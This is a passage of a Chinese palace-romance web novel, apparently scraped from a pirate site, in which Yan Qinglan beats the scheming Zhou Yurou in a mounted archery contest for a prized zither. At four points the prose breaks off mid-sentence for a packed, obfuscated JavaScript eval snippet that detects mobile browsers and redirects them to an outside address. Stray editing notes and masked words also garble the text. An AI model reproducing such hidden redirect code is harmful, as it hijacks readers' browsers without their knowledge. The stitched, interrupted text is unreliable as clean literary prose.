他嘴角勾起一抹嘲讽的弧度,声音冰冷: “沈公子,你说是吧?” 韩承煜被他这么一点名,顿时感觉如芒在背。 他脸上的笑容有些僵硬,但还是努力维持着风度,温声说道: “表哥说笑了,这只是姑娘家之间的切磋,何必弄得那么严肃?” 他这话,看似在劝解童玄珏,实则,却是在暗示他不要太过分。 童玄珏冷笑一声,没有理会韩承煜,而是将目光转向了晏清澜。 他一步步走近,每一步,都像是踩在了众人的心尖上。 “庄四小姐,”他开口,声音低沉而沙哑,带着几分玩味,“不如,我们就赌点什么,如何?” 他停下脚步,站在晏清澜面前,居高临下地看着她。 那张狰狞的鬼面具,在阳光下,显得越发可怖。人群的目光如追光灯,齐刷刷聚焦在晏清澜身上。 第一百七十八章 窃窃私语中,众人心照不宣:燕王这是迁怒,谁让这位晏四小姐生了张惹眼的脸,挡了某些人的道? 傅清霁与宋明澜交换了一个眼神,眉头拧成死结,脸色阴沉得能拧出水。 晏清澜敏锐地捕捉到二人神情,抢先开口,打破这令人窒息的僵局。 她迎上童玄珏深不见底的眸子,唇角微翘,勾勒出一抹玩味的笑: “王爷盛情,臣女心领。不过寻常切磋,点到即止,又非以命相搏,何惧之有?” 说话间,她眼波流转,朝傅清霁和宋明澜递了个“稍安勿躁”的眼神。 余光一瞥,她看似随意地轻扯宋溪溪的衣袖。 她太了解这位闺中密友,直肠子,藏不住话,就怕她一时冲动,哪壶不开提哪壶,反倒惹祸上身。 童玄珏,这三个字,本身就代表着高深莫测。 这位权倾朝野的王爷,城府极深,最是让人难以捉摸。 晏清澜暗自警醒,她决不能因为自己,让陆家与这位活阎王为敌。 宋溪溪紧抿双唇,眼神在童玄珏和晏清澜之间来回打转,复杂难言。 她总觉得,这两人之间,有种难以言喻的微妙氛围。 燕王看阿清姐姐的眼神……不像是头一回见面。 难不成,他在帮阿清姐姐挖坑?可他这么做,图什么? 宋溪溪不敢再深想,只觉后背一阵阵发寒。 她用力甩了甩头,试图把脑子里那些乱七八糟的念头甩掉。 再想下去,她怕是今晚要失眠。 童玄珏看着晏清澜,薄唇轻启,发出一声低沉的笑。 在这静谧的氛围中,这笑声显得格外诡异,让在场的人心里都有些发毛。 “晏四小姐,果然胆气过人。” 他略一停顿,话锋陡转,目光如利箭般射向周雨柔。 那眼神,冰冷锐利,再无半分笑意: “周三小姐,以为如何?” 被他这么一盯,周雨柔只觉一股寒气从脚底直窜头顶,激起一身鸡皮疙瘩。 她下意识地攥紧身旁晏玥玥的胳膊,力道大得惊人。 晏玥玥吃痛,秀眉微蹙,却也只是轻轻“嘶”了一声,并未挣脱。 周雨柔暗自深呼吸,强压下心头的慌乱,尽量让声音听起来平稳: “臣女……自当奉陪。只是臣女箭术不精,恐会失手,还望晏四小姐……多多包涵。” 她故意在“失手”二字上加重了语气,眼神闪烁不定。 没说不伤人,只说怕“失手”。 周雨柔心中冷笑,到时候弓弦一响,谁知道会发生什么? 万一她“不小心”射歪了,划破了晏清澜的衣裳,或是扯乱了她的发髻呢? 有这生死状在,就算晏清澜当众出丑,也只能打落牙齿和血吞。 “既是比试,总得有个彩头,方才有趣。” 童玄珏眼皮微抬,语气随意,仿佛只是在谈论一件稀松平常的小事。 “本王府中,恰有一把‘醉月琴’,便赠与……落败的一方。” 此言一出,姚澜猛地扭头,目光如炬,死死盯着童玄珏,像是要把他盯出一个洞来。 他咬牙切齿,声音压得极低: “童玄珏!你打的好算盘!居然把我的琴当赌资?你还要不要脸?那可是我留着送给心上人的!” 童玄珏连眼角余光都没分给他,只是淡淡道: “无妨,过会儿你直接找输的人要便是。” 姚澜气得太阳穴突突直跳,恨不得扑上去,跟童玄珏同归于尽。 那把“醉月琴”,可是他费尽心思,托了无数关系,才从一位隐世高人手中求来的。 结果倒好,被童玄珏这厮横插一杠,硬生生给抢了去! 这几年,他软磨硬泡,威逼利诱,想尽了办法,都没能把琴要回来。 他也不是没想过别的法子,可童玄珏是什么人? 他看上的东西,谁敢动?谁又能动得了? 不过眼下……姚澜眼珠一转,心里又燃起一线希望。 这琴若是到了晏清澜或周雨柔手里,他说不定还能找个由头要回来。 可若继续留在童玄珏手里,那他就只能眼睁睁看着,望“琴”兴叹了。 在场众人,皆未料到童玄珏会突然拿出“醉月琴”这等稀世珍宝来做彩头。 “醉月琴”,顾名思义,其音色之美,足以令人飘飘欲仙。 传闻此琴乃九天玄女所制,琴弦以冰蚕丝为材,琴身则以千年梧桐木雕琢而成。 轻抚琴弦,便能发出空灵清越之音,宛如天籁,令人心旷神怡,仿佛置身仙境。 童玄珏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16124956|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此言一出,满座皆惊。 这彩头,未免也太贵重了些。 更令人费解的是,他竟要把这彩头赠予输家? 这……这简直是闻所未闻! 众人面面相觑,心中纵有千般疑惑,万般不解,却也无人敢质疑这位喜怒无常的王爷。 唯有韩承煜,眉头紧锁,侧首低声问道: “表哥,自古以来,彩头皆赠予胜者,以示嘉奖。怎的到了你这儿,反倒要赠予输家?这……于理不合。” 童玄珏冷冷瞥了他一眼,声音冷冽如冰: “本王行事,何须向你解释?” 他顿了顿,唇角勾起一抹意味深长的笑,面具在阳光下泛着冷光: “胜者,已赢得荣耀。败者……难道不该有些安慰?” 韩承煜听了这话,只觉一股寒气从心底升起。 他实在无法理解童玄珏的逻辑,只觉荒谬至极。 晏玥玥一听彩头是“醉月琴”,原本黯淡的眸子,瞬间焕发出夺目的光彩,比那夜空中的星辰还要璀璨。 她急切地转过头,看向晏清澜,脸上绽放出一个甜腻的笑容,声音娇柔: “四姐姐,你若输了,可否将那‘醉月琴’赠予我?” 她眨巴着水灵灵的大眼睛,故作天真: “你平日里又不常抚琴,留在你那儿也是浪费。不如送给我,也算物尽其用。回头我寻一把上好的宝剑,与你交换,可好?” 晏清澜看着晏玥玥那张虚伪的脸,只觉一阵恶心。 好一个“天真无邪”的晏六小姐,这话说得,可真够“漂亮”! 她微微眯起眼眸,眼底闪过一丝嘲弄,红唇轻启,吐出的话语却如寒冰般冷冽: “六妹妹,你我姐妹,素来疏远。何况,我已四年未归家,谁说我不懂琴艺?” 说着,她目光扫过晏玥玥骤然僵硬的脸,又落在了脸色铁青的钱雅芝身上。 她轻轻一笑,意味深长: “长姐如母,理应谦让。只是从前我让你够多,这一回,恕难从命。” 晏玥玥的脸色,瞬间变得难看至极。 在众目睽睽之下,她骑虎难下,哭也不是,笑也不是。 她若真为了这一把琴哭出来,怕是明日,她“矫情做作”的名声就要传遍整个汴京城的贵女圈了。 第一百七十九章 晏玥玥死死咬住下唇,指甲几乎要将掌心的嫩肉掐破。 她强压下心头的怒火,努力维持着表面的镇定,却还是忍不住刺了晏清澜一句: “四姐姐这话,说得好像‘醉月琴’已是囊中之物。难不成……你竟如此笃定自己会输?” 周雨柔一直在旁冷眼旁观,此刻终于寻到机会,自然不会放过,立马落井下石: “我看晏四小姐这是谦虚,故意示弱呢。” 她故意停顿了一下,笑得一脸得意: “若是我输了,定将那‘醉月琴’双手奉上,送与玥玥妹妹。” 她之所以敢这么说,自然是算准了童玄珏不会在意。 既然他舍得把这琴拿出来做彩头,就说明这琴对他来说,并非那么重要。 晏玥玥立刻亲昵地挽住周雨柔的胳膊,脸上堆满了甜腻的笑容,有意做给晏清澜看: “还是雨柔你最好了!” 晏清澜看着眼前这两个一唱一和的女人,只觉无趣至极。 她甚至懒得再多看她们一眼,只是不屑地撇了撇嘴,露出一个意味不明的冷笑。 明眼人看到这里,又如何不明白这其中微妙的关系? 若是先前还有人对苏府姐妹不和的传言将信将疑,那么现在,晏清澜与晏玥玥之间,那层薄如蝉翼的遮羞布,算是彻底被撕开了。 两人之间,已然到了连表面功夫都懒得做的地步。 庄家几位公子的脸色也变得十分难看。 晏雨珩眉头紧锁,面露不悦,压低声音对身旁的晏景文说道: “这个阿清,当真是越来越不像话了!为了一把琴,竟让玥玥如此难堪!” 晏景文也深以为然地点头附和,语气中满是不赞同: “是啊,玥玥分明有意与她亲近,她却这般不识好歹……” 晏远舟则始终沉默不语,只是一双深邃的眸子,静静地注视着眼前发生的一切,仿佛要将这其中的是是非非,看得清清楚楚,明明白白。 唯有晏子晏,冷笑一声,转过头,目光如刀,直直地刺向两位兄长。 他眼中的讥诮与嘲讽,毫不掩饰地流露出来: “大哥,二哥,你们可真是站着说话不腰疼!一把琴?眼前这把琴,明日呢?难不成往后只要是晏玥玥想要的,不管阿清愿不愿意,都得拱手相让?” 他顿了顿,目光愈发凌厉,语气也变得咄咄逼人: “怎么,在你们眼里,六妹妹的心愿大过天,四妹妹的心情就一文不值?” 他这番话,如同一记响亮的耳光,狠狠地扇在了晏雨珩和晏景文的脸上。 两人被噎得哑口无言,脸色一阵青一阵白,手指也不自觉地僵硬起来,无力反驳。骏马嘶鸣,尘土飞扬。 原本已退席的几位皇子公主,又被这边的动静吸引,纷纷折返回来观瞧。 “竟是要比骑射……”五公主韩清韵若有所思地托着下巴,目光在场中二人身上流转。 骑射不比别的,穿着繁复的宫装多有不便,反倒是误事。 她略一思忖,便对身边的贴身宫女吩咐道:“竹霁,你去尚服局,挑两身利落的骑装来,给两位姑娘换上。” “是。”竹霁领命,莲步匆匆而去。 能入得了宫廷的,自然都是顶尖的好物。 片刻后,竹霁便捧着两套颜色各异的骑装回来,恭敬地呈上。 一套如烈火般艳丽的红,一套如霜雪般清冷的白。 周雨柔眼疾手快,抢先一步将那套红色骑装收入囊中,唇角勾起一抹难以掩饰的笑意。 剩下的白色,自然而然地落在了晏清澜的手中。 周雨柔姿容寻常,平日里素净的衣裳,更衬得她五官平平,混入人群中便再也寻不见。这般浓烈的红色,倒是能将她的五官勾勒得鲜明几分,也算扬长避短。 更衣过后,晏清澜缓步自屏风后走出。 一身素白的骑装,将她衬得英姿飒爽,少了几分平日的娇艳,更添了几分凌厉,宛若出鞘的利剑,瞬间夺去了所有人的目光。 平日里,她换上暗色衣衫后,眼尾轻轻上扬,便已是艳光流转,美得惊心动魄,却又令人望而却步。 今日换上浅色骑装,眉宇间平添了几分冷峻,更教人挪不开眼,只想一探究竟。 “啧啧……” 一个身着青衣的姑娘看得出了神,手中团扇摇到一半便忘了动作,只顾着盯着晏清澜瞧,口中忍不住低声赞叹: “这还比个什么劲儿?还没开始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16133776|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,周雨柔就已经输得彻底了。” “谁说不是呢。”身旁的同伴亦是深以为然,轻轻摇头,语气中带着三分惋惜,七分艳羡,“晏四小姐生了这样一张脸,别说是男子,便是我一个女子瞧了,也想……” 她说到此处,忽地顿住,用绢扇掩住半张脸,只露出一双顾盼生辉的眼眸,意味深长。 平日里,晏清澜穿着云锦缎的衣裙,就已美得令人嫉妒。如今换了身骑装,平添英气,反而让人连嫉妒的心思都生不起来,只剩下纯粹的惊艳。 面具之后,童玄珏的神情无人能知。 他只是微微挑眉,深邃的目光紧紧追随着那道白色身影。 当看到她足尖轻点,身轻如燕地翻身上马,动作行云流水,没有一丝拖泥带水,唇角不自觉地勾起一抹玩味的笑意。 这般飒爽的风姿,引得在场的姑娘们发出一阵低低的惊呼,似是怕惊扰了什么。 “陆姐姐也太好看了吧!”御史家的千金激动地扯了扯宋溪溪的衣袖,声音里满是兴奋。 五公主韩清韵也忍不住点头附和,目光灼灼:“早听闻当年厉将军也是这般英姿勃发,所向披靡,今日一见陆姐姐,我总算是明白了,何为巾帼不让须眉。女子若是英气起来,压根轮不到男人插手。” 宋溪溪得意地扬起下巴,眼角眉梢都是自豪:“这才哪儿到哪儿,我姐姐比这更厉害的时候,你们还没见过呢。等着瞧好吧!” 宋明澜站在一旁,听着这番对话,忍不住嘴角微微抽搐。 他没听错吧? 这些夸赞晏清澜的话,竟是从女子口中说出? 真是稀奇。 世人都说女子善妒,容不得旁人比自己更美,如今看来,倒也未必。 宋明澜唇角微勾,心中暗道:这般也好,至少姐妹们之间不用争风吃醋了…… 马场上,周雨柔看着光彩照人的晏清澜,心中一阵气闷,她紧紧地攥着手中的马鞭,力道之大,指节都隐隐泛白。 周围那些目光,几乎全都落在了晏清澜身上。 而她周雨柔,不过是个陪衬,一片毫不起眼的绿叶。 周雨柔暗自咬牙,几乎将嘴唇咬破,她猛地扬鞭抽在马身上,骏马吃痛,嘶鸣一声,向前奔去。 第一百八十章 她弯弓搭箭,看似瞄准了远处的屏风,实则眼角的余光一刻也未曾离开晏清澜。 “嗖——” 羽箭破空,发出刺耳的尖啸,直奔晏清澜的面门而去! 这突如其来的一箭,让周围观战的人都忍不住惊呼。 却见晏清澜只是微微侧首,身子后仰,以一个不可思议的弧度,轻巧地避开了这一箭。 “驾!” 晏清澜娇喝一声,拍马疾驰,身姿挺拔如松,眉梢微挑,带着几分漫不经心。 回应她的,是紧随其后的又一支羽箭。 这一箭,射偏了。 周雨柔见状,非但没有懊恼,反而勾起一抹冷笑。 她轻蔑地瞥了晏清澜一眼,语气中满是嘲讽: “就这?也敢出来献丑,真是白瞎了这么好看的皮囊和骑装。” 她笑得愈发得意,眼神中却闪过一丝狠毒。 她再次弯弓搭箭,这一次,她瞄准的,是晏清澜的眉心! 场外,舒临风看清了周雨柔的意图,不由得眉头紧锁。 “这李家三小姐,也太过了吧!”他语气中带着怒意,“不过是切磋比试,点到为止便是,她这架势,分明是冲着人性命去的!” 童玄珏依旧一副云淡风轻的模样,声音低沉而冷漠,像冬日里结了冰的湖面: “她不敢下死手,晏清澜真要有个好歹,李家担待不起,她自己也落不了好。” 舒临风皱眉,他实在不明白童玄珏葫芦里卖的什么药。 “那你还非要让她们立生死状?” 童玄珏轻笑一声,目光落在周雨柔身上,像是看一场滑稽的闹剧: “不这样,怎么能看到这么有趣的戏码呢?人生在世,总得给自己找点乐子。” 他这么一说,舒临风也来了兴致,他用胳膊肘碰了碰童玄珏: “不如打个赌,赌她们谁能赢?” 童玄珏斜睨他一眼:“说得好像你有得选一样。” 姚澜看**一样看向舒临风,替他补充:“赌注是什么?” 舒临风被噎了一下,但还是挺直了腰板,像只骄傲的孔雀般: “我当然押晏清澜赢!周雨柔算什么东西,给她提鞋都不配!” 童玄珏但笑不语,他微微扬起下巴,示意舒临风: “那就拭目以待吧,看看究竟是谁笑到最后。” 舒临风没再说什么,只是将目光投向了赛场。 他虽然看不清两人的表情,却也能分辨出谁是游刃有余,谁是**之末。 姚澜则在一旁打了个哈欠,懒洋洋地开口: “管她们俩谁强谁弱,我只关心,那把醉月琴最后会归谁。” 舒临风“啧”了一声,上下打量着姚澜,眼神中带着几分戏谑: “你该不会真打算把那把琴送给你的‘心上人’吧?” 他特意在“心上人”三个字上加重了语气,带着几分调侃。 “我说,你什么时候有心上人了?我怎么不知道?” 姚澜直接无视了他,将目光重新投向了场中。 周雨柔再次弯弓搭箭,蓄力良久,终于瞅准了一个机会。 她猛地松开弓弦,羽箭如离弦之箭,直奔晏清澜的眉心而去! “小心!” 围观的人群中,爆发出一阵惊呼。 有怂包妹子,甚至吓得捂住了眼睛,不敢看接下来的画面。 晏清澜却依旧镇定自若,连眼神都没有丝毫变化。 她只是轻轻抬手,以迅雷不及掩耳之势,稳稳地接住了那支飞来的羽箭! “啪嗒。” 晏清澜随手将箭扔在地上,发出一声轻响。 她微微挑眉,语气中带着几分轻佻和不屑: “李三姑娘,你这是……没吃饭,还是手生了?不如,我让让你?” 这话说得轻描淡写,却带着十足的挑衅和轻蔑。 仿佛在看一个稚童的玩闹,又像是在看一个跳梁小丑的表演。 即便周雨柔看不清她的眼神,也能从她的话语中听出那浓浓的嘲讽。 周雨柔气得浑身发抖,她紧紧握着马鞭,咬牙切齿地说道: “不必!方才是意外,这次我定叫你好看。”烈日炎炎,阳光炙烤着大地,马场上热浪翻滚,仿佛一个巨大的火炉。 银白色的身影,在阳光的照耀下,如同闪耀的星辰,吸引了所有人的目光。 那是晏清澜。 周雨柔的眼神,像淬了毒的**,死死地盯着晏清澜。 她紧握着手中的弓,拉弓搭箭,羽箭随着晏清澜的移动而不断调整方向,蓄势待发。 马场外,围观的人群中,低低的议论声逐渐响起,如同嗡嗡的蜂鸣。 “这周三小姐……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16133777|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 御史家的千金紧紧地攥着手中的丝帕,指节因为用力而微微泛白。 她秀气的眉毛紧紧地蹙在一起,转头看向身旁的友人,声音中带着一丝不安和疑惑: “她……她这是要射哪儿啊?是那屏风上的孔雀?还是……” 她没有说下去,但眼神中的担忧,已经说明了一切。 这话一出,周围几个闺阁千金的脸色都变了,显然,她们心中也有着同样的疑问。 五公主韩清韵冷眼旁观,精致的眉眼间,流露出一丝不屑和嘲讽。 她轻轻地“哼”了一声,语气中带着一丝轻蔑: “你们还是太年轻,看不透这其中的弯弯绕。” “依本宫之见,她这箭,既不是冲着屏风,也不是冲着人。” 她故意停顿了一下,压低了声音,用一种神秘的语气说道: “她是想让晏四姑娘出丑,最好……是让她衣衫不整!” “哼,有些人,表面上装得再好,骨子里也还是烂透了的。” 韩清韵不屑地撇了撇嘴,眼神中充满了鄙夷。 御史千金听到这话,脸色瞬间变得煞白。 她张了张嘴,想要说些什么,却又不知道该如何开口。 最后,她只能无力地呢喃道: “这……这可怎么办才好……” 宋明澜也注意到了这边的动静。 他皱了皱眉,眼中闪过一丝厌恶。 他平生最厌恶的,就是这种心肠歹毒的女子。 宋溪溪倒是显得很镇定。 她不以为意地“嗤”笑一声,转过头,安慰身边的几个姑娘: “怕什么?你们就瞧好吧,我那阿清姐姐,可不是好惹的主儿。” “看着吧,一会儿有热闹瞧了。” 她虽然嘴上说得轻松,但目光却始终没有离开过马场上的晏清澜。 眼神中,隐隐带着一丝担忧。 骄阳似火,马场上仿佛一个巨大的蒸笼,热气不断升腾。 周雨柔紧紧地握着手中的弓,额头上已经渗出了一层细密的汗珠,呼吸也变得有些急促。 她深吸一口气,努力平复着自己紧张的心情。 她知道,这一箭,至关重要。 手指一松,弓弦震颤,发出一声闷响。 箭矢如流星般划破长空,挟裹着劲风,直奔晏清澜而去。 第一百八十一章 周雨柔的嘴角,不自觉地勾起了一抹得意的笑容。 她仿佛已经看到了晏清澜惊慌失措,甚至……衣衫不整的狼狈模样。 然而,下一刻,她脸上的笑容便僵住了。 晏清澜似乎是觉得阳光有些刺眼,微微侧了侧身,轻轻调整了一下坐姿。 就是这样一个小小的动作,却让周雨柔势在必得的一箭,落了空。 羽箭,无力地落在了地上,激起了一阵尘土。 周雨柔的脸色,瞬间变得铁青,难看到了极点。 晏清澜原本还带着几分戏谑的笑意,此刻,却全然消失不见。 她的眼底,闪过一丝冰冷的光芒,仿佛有寒霜在其中凝结。 她优雅地抬起手,挽弓,搭箭,动作一气呵成,流畅而优美,带着一股说不出的潇洒和肆意。 方才是周雨柔的回合。 现在,该她了。 “嗖——” 羽箭破空,发出一声尖锐的呼啸,仿佛死神的低吟。 寒光闪过,直逼周雨柔。 周雨柔只觉得一股寒意从心底升起,瞬间传遍了全身。 她想要躲避,可是身体却像是被点了穴道一般,僵硬得动弹不得。 只能眼睁睁地看着那支箭,精准无比地击中了她头上的玉簪。 “啪嗒——” 玉簪碎裂的声音,在她的耳边清脆地响起,仿佛丧钟敲响。 周雨柔只觉得一阵头晕目眩,浑身的力气像是被抽空了一般,险些从马上栽下去。 她惊恐地看向晏清澜,眼中充满了恐惧和难以置信。 然而,这仅仅只是一个开始。 晏清澜并没有就此罢手。 第二支箭,紧随其后,擦着周雨柔的马的耳朵飞过,锋利的箭矢,带走了几缕鬃**。 马儿吃痛,发出一声惊恐的嘶鸣,开始在马场上疯狂地奔跑起来,完全失去了控制。 周雨柔吓得魂飞魄散,脸色惨白如纸,冷汗瞬间湿透了衣衫。 她死死地抓住缰绳,想要控制住受惊的马匹,可平日里还算温顺的马儿,此刻却像发了疯一般,根本不听她的使唤。 “救命……救命啊……” 她绝望地哭喊着,声音嘶哑,充满了恐惧。 整个人狼狈不堪,哪里还有半分平日里高门贵女的模样。 晏清澜策马,缓缓靠近周雨柔。 在经过她身旁时,她故作惊讶地“咦”了一声: “周三小姐,这是怎么了?你的马怎么了?” 她明知故问,语气中带着一丝戏谑。 周雨柔恨不得将她**万段,可此时此刻,她却一个字也说不出来。 喉咙像是被什么东西堵住了,只能发出“嗬嗬”的声响。 晏清澜微微扬起下巴,将手中的弓横在了周雨柔的马脖颈前,轻轻一挑。 受惊的马儿被阻,猛地扬起前蹄,发出一声长嘶,终于停下了狂奔的脚步。 周雨柔整个人无力地趴在马背上,大口大口地喘着粗气,浑身颤抖不止。 她身上的衣衫,早已被汗水湿透,紧紧地贴在身上,勾勒出狼狈的身形。 头发也凌乱不堪,几缕发丝黏在脸上,更显得狼狈。 晏清澜居高临下地看着她,脸上的笑容,灿烂得有些刺眼。 “周三小姐,你没事吧?” “要不要……我扶你一把?” 她故意将“扶”字咬得很重,语气中带着一丝玩味。 周雨柔恨得牙痒痒,却又无可奈何。 晏清澜似乎觉得还不够,又笑眯眯地补了一句: “其实,你现在要是服软,也不算太丢人。” “毕竟,这醉月琴,我可没打算让给你。” 周雨柔闻言,猛地抬起头,死死地盯着晏清澜,眼中充满了怨恨和不甘。 她紧紧地咬着下唇,几乎要将嘴唇咬出血来。 “你……休想!” 她咬牙切齿地说道,声音嘶哑而颤抖。 想让她就这样认输? 绝不可能! 晏清澜无辜地眨了眨眼睛,摊了摊手,耸了耸肩,一副“我很无奈”的模样: “哎,良言难劝该死的鬼,你为啥这么倔强呢?” 那副天真无邪的模样,看在周雨柔的眼里,简直比魔鬼还要可恶。 周雨柔心中怒火中烧,理智早已被愤怒吞噬。 她胡乱地抓起一支箭,朝着晏清澜射了过去。 这一箭,毫无章法,更谈不上什么准头,软弱无力。 晏清澜甚至连躲避的动作都懒得做,只是随意地挥了挥手中的弓,便将那支箭扫落在地。 箭矢无力地落在了地上,发出一声轻响,仿佛一片枯叶,毫无威胁。 这一幕,被场外的众人看得清清楚楚。 所有人都向周雨柔投去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16140859|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了鄙夷和厌恶的目光,窃窃私语。 “这女人,真是疯了!” 晏子晏再也忍不住了,他猛地站起身来,双眼通红,怒吼一声就要冲进马场。 晏雨珩眼疾手快,一把拽住了他的胳膊,厉声喝道: “你冷静点!现在进去有什么用?除了添乱,你还能做什么?” “你没看到吗?那个疯女人!她想害死阿清!” 晏子晏像一头发怒的狮子,拼命地想要挣脱晏雨珩的束缚,声音嘶哑: “这是生死局!你放开我!” “阿清肯定平安无事,你相信我!” 晏雨珩却依旧死死地拽着他,语气中带着一丝不容置疑。 “你给我放手!” 杨澜冷眼看着晏雨珩,眼神中充满了不屑和鄙夷。 他上前一步,用力地拍了拍晏子晏的肩膀,沉声说道: “子晏,稍安勿躁。阿清的本事,你还不清楚吗?” “你现在进去,非但帮不上忙,反而会让她分心。” “相信她,她能处理好。” 他顿了顿,又补充道: “更何况,还有我在。” 听了这话,晏子晏才渐渐冷静下来。 他猛地转过头,狠狠地甩开了晏雨珩的手,眼神中充满了厌恶和嫌弃: “滚开!滚远点别碰我!” 兄弟二人激烈的争吵,引得周围的人纷纷侧目,指指点点。 “走,我们离他远点。” 晏子晏根本不给晏雨珩反驳的机会,拉着杨澜转身就走,仿佛躲避瘟疫一般。 杨澜自然是乐得如此,他可不想再和庄家人待在一起。 只是,这马场外早已围满了人,想要找个清净的地方,谈何容易。 两人转了一圈,发现只有燕王童玄珏的身边,还空着一大片地方。 于是,晏子晏和杨澜便站在了离童玄珏三步远的位置。 童玄珏的目光,从马场上缓缓收回。 他看着晏清澜,如同逗弄猎物一般,戏耍着周雨柔。 虽然隔得太远,看不清她的表情。 但在他的脑海中,却清晰地浮现出她的一颦一笑。 她眼尾微微上挑,唇角带着一丝若有若无的笑意,那笑容,仿佛近在咫尺,每一个细节都清晰可见。 他仿佛能“看”到晏清澜在马背上轻盈跃起,躲过周雨柔射来的箭矢。 第一百八十二章 衣袂飘飘,如同展翅欲飞的蝴蝶,又稳稳地落回马背上,动作潇洒而漂亮。 童玄珏的眼神,微微闪动,嘴角不自觉地勾起一抹浅笑。猎猎风声中,跑马场上的气氛仿佛凝固。 “周三小姐,说好的点到为止,您这……是急眼了?” 晏清澜无精打采地张了张嘴,嘴角噙着笑,那无辜的模样,仿佛将周雨柔逼入如此境地的另有其人。 周雨柔只觉一阵气血翻涌。 还剩最后一支箭。 紧绷的神经,让她手脚发软,几近虚脱。 晏清澜却不紧不慢,悠悠地挽弓搭箭。她眼尾轻挑,余光扫过周雨柔那狼狈不堪的模样。 (文段8修改,调整语句) “周三小姐,” 晏清澜不疾不徐地拉开弓弦,箭尖在阳光下闪着寒光, “这最后一箭,与其浪费,不如现在就认输,还能留个体面。” 这话,比方才那句“趁早认输”更扎心。 周雨柔只觉得胸口像是被什么东西狠狠地捶了一下,几乎要喘不过气。 “你……” 她死死地盯着晏清澜,眼中燃烧着熊熊怒火, “我周雨柔,就是输,也不会认输!” (文段6修改) 话音未落,周雨柔颤抖着手,将最后一支箭搭上弓弦。 她已经没有力气再去瞄准,只是凭着本能,朝着屏风的方向射了出去。 “嗖——” 箭矢离弦,无力地飞向空中。 几乎在同一时刻,晏清澜也松开了手中的弓弦。 “嗖——” 羽箭划破长空,发出的声音却比周雨柔的箭矢更加尖锐。 众人的心,都提到了嗓子眼。 (文段7修改) 电光火石之间,两支箭矢,一前一后,射向了不同的目标。 周雨柔的箭,摇摇晃晃地飞向屏风,最终有气无力地扎在了孔雀身上,连尾羽都没碰到。 而晏清澜的箭,却在空中划出一道凌厉的弧线,精准地洞穿了一只停在屏风上歇脚的雀儿的眼睛! 一击毙命! 全场鸦雀无声,落针可闻。 所有人都被这突如其来的一幕惊呆了,张大了嘴巴,却发不出任何声音。 晏清澜将手中的长弓随意地抛给身旁的侍女,然后轻巧地翻身下马。 她的动作行云流水,一气呵成,仿佛刚才那惊世骇俗的一箭,不过是举手之劳。 (文段10修改) “小姐!” 几个宫人惊叫着朝屏风跑去,想要查看那只雀儿的情况。 周雨柔也面无人色地下了马。 她脚步虚浮,身体摇摇欲坠,仿佛随时都会倒下。 与晏清澜的从容淡定相比,她就像是一只被暴风雨摧残过的花朵,狼狈不堪。 “阿清!” 陆家人几步并作两步地迎了上来,将晏清澜围在中间。 “你没事吧?” 傅清霁掏出一方帕子,轻轻地替她擦去额角的汗珠,眼中满是关切。 (文段4修改) 宋溪溪则拉着晏清澜的胳膊,心疼地说道: “阿清姐姐,你也太厉害了!不过下次可别这么冒险了,万一伤着了怎么办?” “是啊,阿清,” 宋明澜也附和道, “要我说,直接认输算了,反正那什么醉月琴,咱们也不稀罕!” 厉宗玉则皱着眉头,一脸严肃地说道: “阿清,这事儿不能就这么算了。我看那周雨柔,怕是不会善罢甘休。回头我跟爹说一声,让他给你多派几个护卫,以防万一。” 晏清澜看着他们关切的眼神,心中涌上一股暖流。 “我没事,” 她笑着摇了摇头, “倒是你们,别这么紧张,好像我要上战场似的。” 晏玥玥扶着周雨柔,看着她那副失魂落魄的模样,心里也有些不是滋味。 虽然觉得丢人,但毕竟是自己的好友,总不能这时候弃她而去。 “雨柔,你怎么样?比试……到底谁赢了?” 晏玥玥一边轻声询问,一边替周雨柔整理着散乱的头发。 周雨柔却像是没听见似的,目光怔怔地望着晏远舟所在的方向,整个人都有些恍惚。 (文段3修改,更换事件叙述方式) 晏玥玥见她不说话,还以为她是因为输了比试而难过。 